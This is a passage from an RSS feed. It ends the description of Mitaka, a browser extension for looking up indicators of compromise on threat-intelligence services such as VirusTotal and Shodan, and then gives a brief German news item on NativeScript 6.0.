<td align="left">DomainWatch</td>  <td align="left"><a href="https://domainwat.ch/" rel="nofollow" target="_blank" title="https://domainwat.ch">https://domainwat.ch</a></td>  <td align="left">domain / email</td>  </tr>
<tr>
<td align="left">EmailRep</td>  <td align="left"><a href="https://emailrep.io/" rel="nofollow" target="_blank" title="https://emailrep.io">https://emailrep.io</a></td>  <td align="left">email</td>  </tr>
<tr>
<td align="left">FindSubDomains</td>  <td align="left"><a href="https://findsubdomains.com/" rel="nofollow" target="_blank" title="https://findsubdomains.com">https://findsubdomains.com</a></td>  <td align="left">domain</td>  </tr>
<tr>
<td align="left">FOFA</td>  <td align="left"><a href="https://fofa.so/" rel="nofollow" target="_blank" title="https://fofa.so">https://fofa.so</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
<td align="left">FortiGuard</td>  <td align="left"><a href="https://fortiguard.com/" rel="nofollow" target="_blank" title="https://fortiguard.com">https://fortiguard.com</a></td>  <td align="left">ip / url / cve</td>  </tr>
<tr>
<td align="left">Google Safe Browsing</td>  <td align="left"><a href="https://transparencyreport.google.com/" rel="nofollow" target="_blank" title="https://transparencyreport.google.com">https://transparencyreport.google.com</a></td>  <td align="left">domain / url</td>  </tr>
<tr>
<td align="left">GreyNoise</td>  <td align="left"><a href="https://viz.greynoise.io/" rel="nofollow" target="_blank" title="https://viz.greynoise.io">https://viz.greynoise.io</a></td>  <td align="left">ip / domain / asn</td>  </tr>
<tr>
<td align="left">Hashdd</td>  <td align="left"><a href="https://hashdd.com/" rel="nofollow" target="_blank" title="https://hashdd.com">https://hashdd.com</a></td>  <td align="left">ip / domain / hash</td>  </tr>
<tr>
<td align="left">HybridAnalysis</td>  <td align="left"><a href="https://www.hybrid-analysis.com/" rel="nofollow" target="_blank" title="https://www.hybrid-analysis.com">https://www.hybrid-analysis.com</a></td>  <td align="left">ip / domain / hash (sha256 only)</td>  </tr>
<tr>
<td align="left">Intelligence X</td>  <td align="left"><a href="https://intelx.io/" rel="nofollow" target="_blank" title="https://intelx.io">https://intelx.io</a></td>  <td align="left">ip / domain / url / email / btc</td>  </tr>
<tr>
<td align="left">IPinfo</td>  <td align="left"><a href="https://ipinfo.io/" rel="nofollow" target="_blank" title="https://ipinfo.io">https://ipinfo.io</a></td>  <td align="left">ip / asn</td>  </tr>
<tr>
<td align="left">IPIP</td>  <td align="left"><a href="https://en.ipip.net/" rel="nofollow" target="_blank" title="https://en.ipip.net">https://en.ipip.net</a></td>  <td align="left">ip / asn</td>  </tr>
<tr>
<td align="left">Joe Sandbox</td>  <td align="left"><a href="https://www.joesandbox.com/" rel="nofollow" target="_blank" title="https://www.joesandbox.com">https://www.joesandbox.com</a></td>  <td align="left">hash</td>  </tr>
<tr>
<td align="left">MalShare</td>  <td align="left"><a href="https://malshare.com/" rel="nofollow" target="_blank" title="https://malshare.com">https://malshare.com</a></td>  <td align="left">hash</td>  </tr>
<tr>
<td align="left">Maltiverse</td>  <td align="left"><a href="https://www.maltiverse.com/" rel="nofollow" target="_blank" title="https://www.maltiverse.com">https://www.maltiverse.com</a></td>  <td align="left">domain / hash</td>  </tr>
<tr>
<td align="left">NVD</td>  <td align="left"><a href="https://nvd.nist.gov/" rel="nofollow" target="_blank" title="https://nvd.nist.gov">https://nvd.nist.gov</a></td>  <td align="left">cve</td>  </tr>
<tr>
<td align="left">OOCPR</td>  <td align="left"><a href="https://data.occrp.org/" rel="nofollow" target="_blank" title="https://data.occrp.org">https://data.occrp.org</a></td>  <td align="left">email</td>  </tr>
<tr>
<td align="left">ONYPHE</td>  <td align="left"><a href="https://www.onyphe.io/" rel="nofollow" target="_blank" title="https://www.onyphe.io">https://www.onyphe.io</a></td>  <td align="left">ip</td>  </tr>
<tr>
<td align="left">OTX</td>  <td align="left"><a href="https://otx.alienvault.com/" rel="nofollow" target="_blank" title="https://otx.alienvault.com">https://otx.alienvault.com</a></td>  <td align="left">ip / domain / hash</td>  </tr>
<tr>
<td align="left">PubDB</td>  <td align="left"><a href="http://pub-db.com/" rel="nofollow" target="_blank" title="http://pub-db.com">http://pub-db.com</a></td>  <td align="left">gaPubID / gaTrackID</td>  </tr>
<tr>
<td align="left">PublicWWW</td>  <td align="left"><a href="https://publicwww.com/" rel="nofollow" target="_blank" title="https://publicwww.com">https://publicwww.com</a></td>  <td align="left">text</td>  </tr>
<tr>
<td align="left">Pulsedive</td>  <td align="left"><a href="https://pulsedive.com/" rel="nofollow" target="_blank" title="https://pulsedive.com">https://pulsedive.com</a></td>  <td align="left">ip / domaion / url / hash</td>  </tr>
<tr>
<td align="left">RiskIQ</td>  <td align="left"><a href="http://community.riskiq.com/" rel="nofollow" target="_blank" title="http://community.riskiq.com">http://community.riskiq.com</a></td>  <td align="left">ip / domain / email / gaTrackID</td>  </tr>
<tr>
<td align="left">SecurityTrails</td>  <td align="left"><a href="https://securitytrails.com/" rel="nofollow" target="_blank" title="https://securitytrails.com">https://securitytrails.com</a></td>  <td align="left">ip / domain / email</td>  </tr>
<tr>
<td align="left">Shodan</td>  <td align="left"><a href="https://www.shodan.io/" rel="nofollow" target="_blank" title="https://www.shodan.io">https://www.shodan.io</a></td>  <td align="left">ip / domain / asn</td>  </tr>
<tr>
<td align="left">Sploitus</td>  <td align="left"><a href="https://sploitus.com/" rel="nofollow" target="_blank" title="https://sploitus.com">https://sploitus.com</a></td>  <td align="left">cve</td>  </tr>
<tr>
<td align="left">SpyOnWeb</td>  <td align="left"><a href="http://spyonweb.com/" rel="nofollow" target="_blank" title="http://spyonweb.com">http://spyonweb.com</a></td>  <td align="left">ip / domain / gaPubID / gaTrackID</td>  </tr>
<tr>
<td align="left">Talos</td>  <td align="left"><a href="https://talosintelligence.com/" rel="nofollow" target="_blank" title="https://talosintelligence.com">https://talosintelligence.com</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
<td align="left">ThreatConnect</td>  <td align="left"><a href="https://app.threatconnect.com/" rel="nofollow" target="_blank" title="https://app.threatconnect.com">https://app.threatconnect.com</a></td>  <td align="left">ip / domain / email</td>  </tr>
<tr>
<td align="left">ThreatCrowd</td>  <td align="left"><a href="https://www.threatcrowd.org/" rel="nofollow" target="_blank" title="https://www.threatcrowd.org">https://www.threatcrowd.org</a></td>  <td align="left">ip / domain / email</td>  </tr>
<tr>
<td align="left">ThreatMiner</td>  <td align="left"><a href="https://www.threatminer.org/" rel="nofollow" target="_blank" title="https://www.threatminer.org">https://www.threatminer.org</a></td>  <td align="left">ip / domain / hash</td>  </tr>
<tr>
<td align="left">TIP</td>  <td align="left"><a href="https://threatintelligenceplatform.com/" rel="nofollow" target="_blank" title="https://threatintelligenceplatform.com">https://threatintelligenceplatform.com</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
<td align="left">Urlscan</td>  <td align="left"><a href="https://urlscan.io/" rel="nofollow" target="_blank" title="https://urlscan.io">https://urlscan.io</a></td>  <td align="left">ip / domain / asn / url</td>  </tr>
<tr>
<td align="left">ViewDNS</td>  <td align="left"><a href="https://viewdns.info/" rel="nofollow" target="_blank" title="https://viewdns.info">https://viewdns.info</a></td>  <td align="left">ip / domain / email</td>  </tr>
<tr>
<td align="left">VirusTotal</td>  <td align="left"><a href="https://www.virustotal.com/" rel="nofollow" target="_blank" title="https://www.virustotal.com">https://www.virustotal.com</a></td>  <td align="left">ip / domain / url / hash</td>  </tr>
<tr>
<td align="left">Vulmon</td>  <td align="left"><a href="https://vulmon.com/" rel="nofollow" target="_blank" title="https://vulmon.com">https://vulmon.com</a></td>  <td align="left">cve</td>  </tr>
<tr>
<td align="left">VulncodeDB</td>  <td align="left"><a href="https://www.vulncode-db.com/" rel="nofollow" target="_blank" title="https://www.vulncode-db.com">https://www.vulncode-db.com</a></td>  <td align="left">cve</td>  </tr>
<tr>
<td align="left">VxCube</td>  <td align="left"><a href="http://vxcube.com/" rel="nofollow" target="_blank" title="http://vxcube.com">http://vxcube.com</a></td>  <td align="left">ip / domain / hash</td>  </tr>
<tr>
<td align="left">WebAnalyzer</td>  <td align="left"><a href="https://wa-com.com/" rel="nofollow" target="_blank" title="https://wa-com.com">https://wa-com.com</a></td>  <td align="left">domain</td>  </tr>
<tr>
<td align="left">We Leak Info</td>  <td align="left"><a href="https://weleakinfo.com/" rel="nofollow" target="_blank" title="https://weleakinfo.com">https://weleakinfo.com</a></td>  <td align="left">email</td>  </tr>
<tr>
<td align="left">X-Force Exchange</td>  <td align="left"><a href="https://exchange.xforce.ibmcloud.com/" rel="nofollow" target="_blank" title="https://exchange.xforce.ibmcloud.com">https://exchange.xforce.ibmcloud.com</a></td>  <td align="left">ip / domain / hash</td>  </tr>
<tr>
<td align="left">ZoomEye</td>  <td align="left"><a href="https://www.zoomeye.org/" rel="nofollow" target="_blank" title="https://www.zoomeye.org">https://www.zoomeye.org</a></td>  <td align="left">ip</td>  </tr>
</tbody></table>
<br><b>Supported scan engines</b><br><table><tbody>
<tr>
<th align="left">name</th>  <th align="left">url</th>  <th align="left">supported types</th>  </tr>
<tr>
<td align="left">Urlscan</td>  <td align="left"><a href="https://urlscan.io/" rel="nofollow" target="_blank" title="https://urlscan.io">https://urlscan.io</a></td>  <td align="left">ip / domain / url</td>  </tr>
<tr>
<td align="left">VirusTotal</td>  <td align="left"><a href="https://www.virustotal.com/" rel="nofollow" target="_blank" title="https://www.virustotal.com">https://www.virustotal.com</a></td>  <td align="left">url</td>  </tr>
</tbody></table>
<br><span><b>Downloads</b></span><br><ul>
<li>Chrome: <a href="https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg" rel="nofollow" target="_blank" title="https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg">https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg</a>
</li>
<li>FireFox: <a href="https://addons.mozilla.org/en-US/firefox/addon/mitaka/" rel="nofollow" target="_blank" title="https://addons.mozilla.org/en-US/firefox/addon/mitaka/">https://addons.mozilla.org/en-US/firefox/addon/mitaka/</a>
</li>
</ul>
<br><span><b>How to use</b></span><br>This browser extension shows context menus based on a type of IoC you selected and then you can choose what you want to search / scan on.<br><br><strong>Examples:</strong><br><br><div class="separator"><a href="https://1.bp.blogspot.com/-2tdM6fuXGfQ/XYAeOc1TdNI/AAAAAAAAQXs/o9Yh-_pJEdwOcF-5KM-3Hj9CjQSlHLl5wCNcBGAsYHQ/s1600/mitaka_9_1.gif" imageanchor="1"><img border="0" data-original-height="282" data-original-width="640" height="282" src="https://1.bp.blogspot.com/-2tdM6fuXGfQ/XYAeOc1TdNI/AAAAAAAAQXs/o9Yh-_pJEdwOcF-5KM-3Hj9CjQSlHLl5wCNcBGAsYHQ/s640/mitaka_9_1.gif" width="640"></a></div>
<br><div class="separator"><a href="https://1.bp.blogspot.com/-4t9b6shG_iQ/XYAeOVytJkI/AAAAAAAAQXw/b4P4PJz5gU0lDqmKpJ9dL3jhiUVXkhOxwCNcBGAsYHQ/s1600/mitaka_10_2.gif" imageanchor="1"><img border="0" data-original-height="282" data-original-width="640" height="282" src="https://1.bp.blogspot.com/-4t9b6shG_iQ/XYAeOVytJkI/AAAAAAAAQXw/b4P4PJz5gU0lDqmKpJ9dL3jhiUVXkhOxwCNcBGAsYHQ/s640/mitaka_10_2.gif" width="640"></a></div>
<br><strong>Note:</strong><br>Please set your urlscan.io &amp; <a href="https://www.kitploit.com/search/label/VirusTotal" target="_blank" title="VirusTotal">VirusTotal</a> API keys in the options page for enabling urlscan.io &amp; VirusTotal scans.<br><br><span><b>Options</b></span><br>You can enable / disable a search engine on the options page based on your preference.<br><br><div class="separator"><a href="https://1.bp.blogspot.com/-dP_LGUSsF1M/XYAeT14bPsI/AAAAAAAAQX0/U7gyifaFxOgCv92e0_k0fugVzaLMShGIACNcBGAsYHQ/s1600/mitaka_11_options.png" imageanchor="1"><img border="0" data-original-height="1023" data-original-width="640" height="640" src="https://1.bp.blogspot.com/-dP_LGUSsF1M/XYAeT14bPsI/AAAAAAAAQX0/U7gyifaFxOgCv92e0_k0fugVzaLMShGIACNcBGAsYHQ/s640/mitaka_11_options.png" width="400"></a></div>
<br><span><b>About Permissons</b></span><br>This browser extension requires the following permissions.<br><ul>
<li>
<code>Read and change all your data on the websites you visit</code>:  <ul>
<li>This extension creates context menus dynamically based on what you select on a website.</li>
<li>It means this extension requires reading all your data on the websites you visit. (This extension doesn't change anything on the websites)</li>
</ul>
</li>
<li>
<code>Display notifications</code>:  <ul><li>This extension makes a notification when something goes wrong.</li></ul>
</li>
</ul>I don't (and will never) collect any information from the users.<br><br><span><b>Alternatives or Similar Tools</b></span><br><ul>
<li><a href="https://chrome.google.com/webstore/detail/crowdscrape/jjplaeklnlddpkbbdbnogmppffokemej" rel="nofollow" target="_blank" title="CrowdScrape">CrowdScrape</a></li>
<li><a href="https://github.com/HASH1da1/Gotanda" rel="nofollow" target="_blank" title="Gotanda">Gotanda</a></li>
<li><a href="https://github.com/mitchmoser/sputnik" rel="nofollow" target="_blank" title="Sputnik">Sputnik</a></li>
<li>
<a href="https://chrome.google.com/webstore/detail/threatconnect-integrated/lblgcphpihpadjdpjgjnnoikjdjcnkbh" rel="nofollow" target="_blank" title="ThreatConnect Integrated ">ThreatConnect Integrated </a><a href="https://www.kitploit.com/search/label/Chrome" target="_blank" title="Chrome">Chrome</a> Extension</li>
<li><a href="https://github.com/cloudtracer/ThreatPinchLookup" rel="nofollow" target="_blank" title="ThreatPinch Lookup">ThreatPinch Lookup</a></li>
<li><a href="https://chrome.google.com/webstore/detail/vtchromizer/efbjojhplkelaegfbieplglfidafgoka" rel="nofollow" target="_blank" title="VTchromizer">VTchromizer</a></li>
</ul>
<br><span><b>How to build (for developers)</b></span><br>This browser extension is written in <a href="https://www.typescriptlang.org/" rel="nofollow" target="_blank" title="TypeScript">TypeScript</a> and built by <a href="https://webpack.js.org/" rel="nofollow" target="_blank" title="webpack">webpack</a>.<br>TypeScript files will start out in <code>src</code> directory, run through the TypeScript compiler, then webpack, and end up in JavaScript files in <code>dist</code> directory.<br><div><pre><code>git clone https://github.com/ninoseki/mitaka.git<br>cd mitaka<br>npm install<br>npm run test<br>npm run build</code></pre></div>For loading an unpacked extension, please follow the procedures described at <a href="https://developer.chrome.com/extensions/getstarted" rel="nofollow" target="_blank" title="https://developer.chrome.com/extensions/getstarted">https://developer.chrome.com/extensions/getstarted</a>.<br><br><span><b>Misc</b></span><br>Mitaka/見たか means "Have you seen it?" in Japanese.<br><br><br><div><b><span><a class="kiploit-download" href="https://github.com/ninoseki/mitaka" rel="nofollow" target="_blank" title="Download Mitaka">Download Mitaka</a></span></b></div>
<img src="http://feeds.feedburner.com/~r/PentestTools/~4/qozOsKsK1eg" height="1" width="1" alt="">
]]></content:encoded>
</item>
<item>
<title><![CDATA[Cross-Plattform-Entwicklung: NativeScript 6.0 unterstützt webpack und AndroidX]]></title>
<description><![CDATA[Das Cross-Plattform-Framework setzt nun standardmäßig auf den Module-Bundler webpack und AndroidX, den Nachfolger der Android Support Library.]]></description>
<link>https://tsecurity.de/de/555278/it-nachrichten/cross-plattform-entwicklung-nativescript-60-unterstuetzt-webpack-und-androidx/</link>
<guid isPermaLink="true">https://tsecurity.de/de/555278/it-nachrichten/cross-plattform-entwicklung-nativescript-60-unterstuetzt-webpack-und-androidx/</guid>
<pubDate>Thu, 18 Jul 2019 10:37:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Cross-Plattform-Framework setzt nun standardmäßig auf den Module-Bundler webpack und AndroidX, den Nachfolger der Android Support Library.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,30ms -->